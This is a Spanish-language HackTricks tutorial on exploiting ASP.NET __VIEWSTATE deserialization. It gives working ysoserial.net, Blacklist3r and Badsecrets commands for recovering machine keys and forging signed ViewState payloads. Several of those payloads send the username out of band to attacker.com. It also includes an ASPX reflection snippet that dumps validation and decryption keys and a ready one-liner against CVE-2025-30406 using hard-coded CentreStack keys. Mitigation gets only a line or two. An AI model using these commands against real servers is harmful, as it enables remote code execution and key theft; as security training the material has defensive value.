Explotando __VIEWSTATE sin conocer los secretos

Reading time: 14 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Qué es ViewState

ViewState sirve como el mecanismo predeterminado en ASP.NET para mantener los datos de la página y del control a través de las páginas web. Durante el renderizado del HTML de una página, el estado actual de la página y los valores que se deben preservar durante un postback se serializan en cadenas codificadas en base64. Estas cadenas se colocan en campos ocultos de ViewState.

La información de ViewState se puede caracterizar por las siguientes propiedades o sus combinaciones:

  • Base64:
  • Este formato se utiliza cuando tanto los atributos EnableViewStateMac como ViewStateEncryptionMode están configurados como false.
  • Base64 + MAC (Código de Autenticación de Mensajes) Habilitado:
  • La activación de MAC se logra configurando el atributo EnableViewStateMac como true. Esto proporciona verificación de integridad para los datos de ViewState.
  • Base64 + Encriptado:
  • La encriptación se aplica cuando el atributo ViewStateEncryptionMode está configurado como true, asegurando la confidencialidad de los datos de ViewState.

Casos de Prueba

La imagen es una tabla que detalla diferentes configuraciones para ViewState en ASP.NET según la versión del marco .NET. Aquí hay un resumen del contenido:

  1. Para cualquier versión de .NET, cuando tanto MAC como Encriptación están deshabilitados, no se requiere un MachineKey, y por lo tanto no hay un método aplicable para identificarlo.
  2. Para versiones anteriores a 4.5, si MAC está habilitado pero la Encriptación no, se requiere un MachineKey. El método para identificar el MachineKey se denomina "Blacklist3r."
  3. Para versiones anteriores a 4.5, independientemente de si MAC está habilitado o deshabilitado, si la Encriptación está habilitada, se necesita un MachineKey. Identificar el MachineKey es una tarea para "Blacklist3r - Desarrollo Futuro."
  4. Para versiones 4.5 y superiores, todas las combinaciones de MAC y Encriptación (ya sea que ambos sean true, o uno sea true y el otro false) requieren un MachineKey. El MachineKey se puede identificar utilizando "Blacklist3r."

Caso de Prueba: 1 – EnableViewStateMac=false y viewStateEncryptionMode=false

También es posible deshabilitar completamente el ViewStateMAC configurando la clave del registro AspNetEnforceViewStateMac a cero en:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identificación de Atributos de ViewState

Puedes intentar identificar si ViewState está protegido por MAC capturando una solicitud que contenga este parámetro con BurpSuite. Si no se utiliza Mac para proteger el parámetro, puedes explotarlo usando YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Los desarrolladores pueden eliminar ViewState para que no forme parte de una solicitud HTTP (el usuario no recibirá esta cookie).
Se puede suponer que si ViewState no está presente, su implementación es segura de cualquier vulnerabilidad potencial que surja con la deserialización de ViewState.
Sin embargo, ese no es el caso. Si agregamos el parámetro ViewState al cuerpo de la solicitud y enviamos nuestra carga útil serializada creada con ysoserial, aún podremos lograr ejecución de código como se muestra en Caso 1.

Test Case: 2 – .Net < 4.5 y EnableViewStateMac=true & ViewStateEncryptionMode=false

Para habilitar ViewState MAC para una página específica, necesitamos hacer los siguientes cambios en un archivo aspx específico:

bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

También podemos hacerlo para la aplicación general configurándolo en el archivo web.config como se muestra a continuación:

xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Como el parámetro está protegido por MAC, esta vez para ejecutar el ataque con éxito primero necesitamos la clave utilizada.

Puedes intentar usar Blacklist3r(AspDotNetWrapper.exe) para encontrar la clave utilizada.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que, a diferencia de Blacklist3r, no tiene dependencia de Windows. Para los viewstates de .NET, hay una utilidad "python blacklist3r", que es la forma más rápida de usarla.

Se puede suministrar con el viewstate y el generador directamente:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

O, puede conectarse directamente a la URL objetivo e intentar extraer el viewstate del HTML:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Para buscar viewstates vulnerables a gran escala, junto con la enumeración de subdominios, se puede utilizar el módulo badsecrets BBOT:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

Si tienes suerte y se encuentra la clave, puedes proceder con el ataque utilizando YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

En los casos donde el parámetro _VIEWSTATEGENERATOR no es enviado por el servidor, no necesitas proporcionar el parámetro --generator sino estos:

bash
--apppath="/" --path="/hello.aspx"

Caso de prueba: 3 – .Net < 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true

En este caso no se sabe si el parámetro está protegido con MAC. Entonces, el valor probablemente está cifrado y necesitarás la clave de máquina para cifrar tu carga útil para explotar la vulnerabilidad.

En este caso, el Blacklist3r módulo está en desarrollo...

Antes de .NET 4.5, ASP.NET puede aceptar un parámetro ___VIEWSTATE_ sin cifrar de los usuarios incluso si ViewStateEncryptionMode ha sido configurado a Siempre. ASP.NET solo verifica la presencia del parámetro __VIEWSTATEENCRYPTED en la solicitud. Si se elimina este parámetro y se envía la carga útil sin cifrar, aún será procesada.

Por lo tanto, si los atacantes encuentran una manera de obtener la clave de máquina a través de otra vulnerabilidad como la exploración de archivos, el comando YSoSerial.Net utilizado en el Caso 2, puede ser usado para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.

  • Elimina el parámetro __VIEWSTATEENCRYPTED de la solicitud para explotar la vulnerabilidad de deserialización de ViewState, de lo contrario, devolverá un error de validación de MAC de ViewState y la explotación fallará.

Caso de prueba: 4 – .Net >= 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true/false excepto ambos atributos a false

Podemos forzar el uso del marco ASP.NET especificando el siguiente parámetro dentro del archivo web.config como se muestra a continuación.

xml
<httpRuntime targetFramework="4.5" />

Alternativamente, esto se puede hacer especificando la opción a continuación dentro del parámetro machineKey del archivo web.config.

bash
compatibilityMode="Framework45"

Como en el anterior, el valor está encriptado. Entonces, para enviar una carga útil válida, el atacante necesita la clave.

Puedes intentar usar Blacklist3r(AspDotNetWrapper.exe) para encontrar la clave que se está utilizando:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Para una descripción más detallada de IISDirPath y TargetPagePath referirse aquí

O, con Badsecrets (con un valor de generador):

bash
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Una vez que se identifica una clave de máquina válida, el siguiente paso es generar una carga útil serializada utilizando YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Si tienes el valor de __VIEWSTATEGENERATOR, puedes intentar usar el parámetro --generator con ese valor y omitir los parámetros --path y --apppath.

Una explotación exitosa de la vulnerabilidad de deserialización de ViewState llevará a una solicitud fuera de banda a un servidor controlado por el atacante, que incluye el nombre de usuario. Este tipo de exploit se demuestra en una prueba de concepto (PoC) que se puede encontrar a través de un recurso titulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para más detalles sobre cómo funciona el proceso de explotación y cómo utilizar herramientas como Blacklist3r para identificar el MachineKey, puedes revisar el PoC de Explotación Exitosa.

Caso de Prueba 6 – ViewStateUserKeys está siendo utilizado

La propiedad ViewStateUserKey se puede usar para defenderse contra un ataque CSRF. Si se ha definido tal clave en la aplicación y tratamos de generar la carga útil de ViewState con los métodos discutidos hasta ahora, la carga útil no será procesada por la aplicación.
Necesitas usar un parámetro más para crear correctamente la carga útil:

bash
--viewstateuserkey="randomstringdefinedintheserver"

Resultado de una Explotación Exitosa

Para todos los casos de prueba, si la carga útil de ViewState YSoSerial.Net funciona exitosamente, entonces el servidor responde con “500 Internal server error” teniendo como contenido de respuesta “La información del estado no es válida para esta página y podría estar corrupta” y obtenemos la solicitud OOB.

Verifique más información aquí

Extracción de Claves de Máquina ASP.NET a través de Reflexión (SharPyShell/SharePoint ToolShell)

Los atacantes que pueden subir o ejecutar código ASPX arbitrario dentro de la raíz web del objetivo pueden recuperar directamente las claves secretas que protegen __VIEWSTATE en lugar de forzarlas. Una carga útil mínima que filtra las claves aprovecha las clases internas de .NET a través de reflexión:

csharp
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>

Solicitar la página imprime el ValidationKey, DecryptionKey, el algoritmo de cifrado y el modo de compatibilidad de ASP.NET. Estos valores ahora se pueden introducir directamente en ysoserial.net para crear un gadget __VIEWSTATE válido y firmado:

bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"

Esta primitiva de exfiltración de claves fue explotada masivamente contra servidores SharePoint locales en 2025 ("ToolShell" – CVE-2025-53770/53771), pero es aplicable a cualquier aplicación ASP.NET donde un atacante pueda ejecutar código del lado del servidor.

Escenarios de Explotación del Mundo Real 2024-2025 y Claves de Máquina Hard-coded

Ola de “claves de máquina divulgadas públicamente” de Microsoft (Dic 2024 – Feb 2025)

Microsoft Threat Intelligence informó sobre la explotación masiva de sitios ASP.NET donde la machineKey había sido previamente filtrada en fuentes públicas (gists de GitHub, publicaciones de blogs, sitios de paste). Los adversarios enumeraron estas claves y generaron gadgets válidos de __VIEWSTATE con las nuevas banderas ysoserial.net 1.41 --minify y --islegacy para evadir los límites de longitud del WAF:

bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify

Rotar claves estáticas o cambiar a claves AutoGenerate en Web .config (<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />) mitiga esta clase de ataques.

CVE-2025-30406 – Gladinet CentreStack / Triofox claves codificadas

Kudelski Security descubrió que múltiples versiones de CentreStack / Triofox se enviaron con valores machineKey idénticos, lo que permite la ejecución remota de código no autenticado a través de la falsificación de ViewState (CVE-2025-30406).

Explotación de una línea:

bash
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx

Corregido en CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – actualice o reemplace las claves de inmediato.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks